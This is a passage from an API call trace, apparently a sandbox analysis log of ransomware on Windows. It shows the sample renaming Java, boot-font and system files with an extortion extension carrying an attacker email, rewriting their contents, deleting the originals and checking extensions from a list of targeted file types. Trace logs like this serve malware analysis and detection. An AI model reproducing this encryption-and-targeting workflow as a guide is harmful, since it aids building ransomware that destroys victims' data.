liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.428] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.428] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0210.429] GetLastError () returned 0x0 [0210.429] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0xea8, lpOverlapped=0x0) returned 1 [0210.871] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0210.872] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.872] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x106, lpOverlapped=0x0) returned 1 [0210.872] SetEndOfFile (hFile=0x350) returned 1 [0210.872] CloseHandle (hObject=0x350) returned 1 [0210.873] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.873] SetEndOfFile (hFile=0x34c) returned 1 [0210.873] CloseHandle (hObject=0x34c) returned 1 [0210.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.874] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 1 [0210.874] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.875] lstrlenW (lpString=".doc") returned 4 [0210.875] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.875] lstrlenW (lpString=".docx") returned 5 [0210.875] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.875] lstrlenW (lpString=".pdf") returned 4 [0210.875] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.875] lstrlenW (lpString=".xls") returned 4 [0210.875] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.875] lstrlenW (lpString=".xlsx") returned 5 [0210.875] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.875] lstrlenW (lpString=".ppt") returned 4 [0210.875] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.875] lstrlenW (lpString=".zip") returned 4 [0210.875] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.875] lstrlenW (lpString=".rar") returned 4 [0210.875] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.875] lstrlenW (lpString=".bz2") returned 4 [0210.875] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.875] lstrlenW (lpString=".7z") returned 3 [0210.875] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.875] lstrlenW (lpString=".dbf") returned 4 [0210.875] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.875] lstrlenW (lpString=".1cd") returned 4 [0210.875] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.875] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.875] lstrlenW (lpString=".jpg") returned 4 [0210.876] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.876] lstrlenW (lpString=".doc") returned 4 [0210.876] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.876] lstrlenW (lpString=".docx") returned 5 [0210.876] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.876] lstrlenW (lpString=".pdf") returned 4 [0210.876] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.876] lstrlenW (lpString=".xls") returned 4 [0210.876] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.876] lstrlenW (lpString=".xlsx") returned 5 [0210.876] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.876] lstrlenW (lpString=".ppt") returned 4 [0210.876] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.876] lstrlenW (lpString=".zip") returned 4 [0210.876] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.876] lstrlenW (lpString=".rar") returned 4 [0210.876] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.876] lstrlenW (lpString=".bz2") returned 4 [0210.876] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.876] lstrlenW (lpString=".7z") returned 3 [0210.876] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.876] lstrlenW (lpString=".dbf") returned 4 [0210.876] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.876] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.876] lstrlenW (lpString=".1cd") returned 4 [0210.876] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.877] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties") returned 71 [0210.877] lstrlenW (lpString=".jpg") returned 4 [0210.877] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.877] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0210.877] lstrlenW (lpString="localedata.jar") returned 14 [0210.877] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.877] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=2204781) returned 1 [0210.877] CloseHandle (hObject=0x34c) returned 1 [0210.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0210.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[seavays@aol.com].save")) returned 1 [0210.879] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0210.879] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fc64 | out: lpNewFilePointer=0x0) returned 1 [0210.879] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fc24 | out: lpNewFilePointer=0x0) returned 1 [0210.879] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a2fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f05058*, lpNumberOfBytesRead=0x3a2fc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.891] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xb36cf, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fc24 | out: lpNewFilePointer=0x0) returned 1 [0210.891] ReadFile (in: hFile=0x34c, lpBuffer=0x3f45058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a2fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f45058*, lpNumberOfBytesRead=0x3a2fc30*=0x40000, lpOverlapped=0x0) returned 1 [0210.898] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3a2fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0210.898] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x1da46d, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fc24 | out: lpNewFilePointer=0x0) returned 1 [0210.898] ReadFile (in: hFile=0x34c, lpBuffer=0x3f85058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a2fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f85058*, lpNumberOfBytesRead=0x3a2fc30*=0x40000, lpOverlapped=0x0) returned 1 [0211.513] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.513] WriteFile (hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x3a2fca8, lpOverlapped=0x0) Thread: id = 101 os_tid = 0x448 [0205.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3570978 [0205.700] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3580980 [0205.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6173e0 [0205.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x65e378 [0205.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617398 [0205.701] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x4018020 [0205.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617380 [0205.704] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617380, Size=0x20) returned 0x5fe9e0 [0205.704] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617380 [0205.704] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617380, Size=0x20) returned 0x5fed28 [0205.705] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0205.705] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0205.705] Wow64DisableWow64FsRedirection (in: OldValue=0x3b6ff50 | out: OldValue=0x3b6ff50*=0x0) returned 1 [0205.705] lstrlenW (lpString="kernel32.dll") returned 12 [0205.705] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe9e0 | out: hHeap=0x5c0000) returned 1 [0205.705] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0205.705] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fed28 | out: hHeap=0x5c0000) returned 1 [0205.705] Sleep (dwMilliseconds=0x64) [0205.994] Sleep (dwMilliseconds=0x64) [0206.267] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0206.267] lstrlenW (lpString="msjhn_boot.ttf") returned 14 [0206.267] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.456] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=162331) returned 1 [0206.456] CloseHandle (hObject=0x354) returned 1 [0206.457] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0206.457] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.457] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.457] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.457] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.457] lstrlenW (lpString=".doc") returned 4 [0206.457] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.457] lstrlenW (lpString=".docx") returned 5 [0206.457] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.457] lstrlenW (lpString=".pdf") returned 4 [0206.457] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.457] lstrlenW (lpString=".xls") returned 4 [0206.457] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.457] lstrlenW (lpString=".xlsx") returned 5 [0206.457] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.457] lstrlenW (lpString=".ppt") returned 4 [0206.457] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.457] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.458] lstrlenW (lpString=".zip") returned 4 [0206.458] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.458] lstrlenW (lpString=".rar") returned 4 [0206.458] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.458] lstrlenW (lpString=".bz2") returned 4 [0206.458] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.458] lstrlenW (lpString=".7z") returned 3 [0206.458] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.458] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.458] lstrlenW (lpString=".dbf") returned 4 [0206.458] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.458] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.458] lstrlenW (lpString=".1cd") returned 4 [0206.458] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.458] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.458] lstrlenW (lpString=".jpg") returned 4 [0206.458] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.458] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.458] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.458] lstrlenW (lpString=".doc") returned 4 [0206.458] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0206.458] lstrlenW (lpString=".docx") returned 5 [0206.458] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0206.458] lstrlenW (lpString=".pdf") returned 4 [0206.458] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0206.459] lstrlenW (lpString=".xls") returned 4 [0206.459] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0206.459] lstrlenW (lpString=".xlsx") returned 5 [0206.459] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0206.459] lstrlenW (lpString=".ppt") returned 4 [0206.459] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0206.459] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.459] lstrlenW (lpString=".zip") returned 4 [0206.459] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0206.459] lstrlenW (lpString=".rar") returned 4 [0206.459] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0206.459] lstrlenW (lpString=".bz2") returned 4 [0206.459] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0206.459] lstrlenW (lpString=".7z") returned 3 [0206.459] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0206.459] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.459] lstrlenW (lpString=".dbf") returned 4 [0206.459] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0206.459] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.459] lstrlenW (lpString=".1cd") returned 4 [0206.459] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0206.459] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28 [0206.459] lstrlenW (lpString=".jpg") returned 4 [0206.459] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0206.460] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0206.460] lstrlenW (lpString="msyh_boot.ttf") returned 13 [0206.460] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.674] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=156245) returned 1 [0206.674] CloseHandle (hObject=0x33c) returned 1 [0206.674] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0206.674] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.674] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.253] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.253] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.253] lstrlenW (lpString=".doc") returned 4 [0207.253] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0207.253] lstrlenW (lpString=".docx") returned 5 [0207.253] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0207.253] lstrlenW (lpString=".pdf") returned 4 [0207.253] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0207.253] lstrlenW (lpString=".xls") returned 4 [0207.253] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0207.253] lstrlenW (lpString=".xlsx") returned 5 [0207.253] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0207.253] lstrlenW (lpString=".ppt") returned 4 [0207.253] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0207.253] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.253] lstrlenW (lpString=".zip") returned 4 [0207.253] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0207.253] lstrlenW (lpString=".rar") returned 4 [0207.253] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0207.254] lstrlenW (lpString=".bz2") returned 4 [0207.254] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0207.254] lstrlenW (lpString=".7z") returned 3 [0207.254] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0207.254] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.254] lstrlenW (lpString=".dbf") returned 4 [0207.254] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0207.254] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.254] lstrlenW (lpString=".1cd") returned 4 [0207.254] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0207.254] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.254] lstrlenW (lpString=".jpg") returned 4 [0207.254] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0207.254] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.254] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.254] lstrlenW (lpString=".doc") returned 4 [0207.254] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0207.254] lstrlenW (lpString=".docx") returned 5 [0207.254] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0207.254] lstrlenW (lpString=".pdf") returned 4 [0207.254] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0207.254] lstrlenW (lpString=".xls") returned 4 [0207.254] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0207.254] lstrlenW (lpString=".xlsx") returned 5 [0207.254] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0207.254] lstrlenW (lpString=".ppt") returned 4 [0207.255] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0207.255] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.255] lstrlenW (lpString=".zip") returned 4 [0207.255] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0207.255] lstrlenW (lpString=".rar") returned 4 [0207.255] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0207.255] lstrlenW (lpString=".bz2") returned 4 [0207.255] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0207.255] lstrlenW (lpString=".7z") returned 3 [0207.255] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0207.255] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.255] lstrlenW (lpString=".dbf") returned 4 [0207.255] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0207.255] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.255] lstrlenW (lpString=".1cd") returned 4 [0207.255] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0207.255] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0207.255] lstrlenW (lpString=".jpg") returned 4 [0207.255] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0207.255] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0207.256] lstrlenW (lpString="msader15.dll.mui") returned 16 [0207.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0207.257] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=17920) returned 1 [0207.257] CloseHandle (hObject=0x33c) returned 1 [0207.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui")) returned 0x20 [0207.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.257] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui" (normalized: "c:\\program files\\common files\\system\\ado\\en-us\\msader15.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.257] lstrlenW (lpString=".doc") returned 4 [0207.257] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0207.258] lstrlenW (lpString=".docx") returned 5 [0207.258] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0207.258] lstrlenW (lpString=".pdf") returned 4 [0207.258] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0207.258] lstrlenW (lpString=".xls") returned 4 [0207.258] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0207.258] lstrlenW (lpString=".xlsx") returned 5 [0207.258] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0207.258] lstrlenW (lpString=".ppt") returned 4 [0207.258] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0207.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.258] lstrlenW (lpString=".zip") returned 4 [0207.258] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0207.258] lstrlenW (lpString=".rar") returned 4 [0207.258] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0207.258] lstrlenW (lpString=".bz2") returned 4 [0207.258] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0207.258] lstrlenW (lpString=".7z") returned 3 [0207.258] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0207.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\en-US\\msader15.dll.mui") returned 63 [0207.258] lstrlenW (lpString=".dbf") returned 4 [0207.258] lstrcmpiW 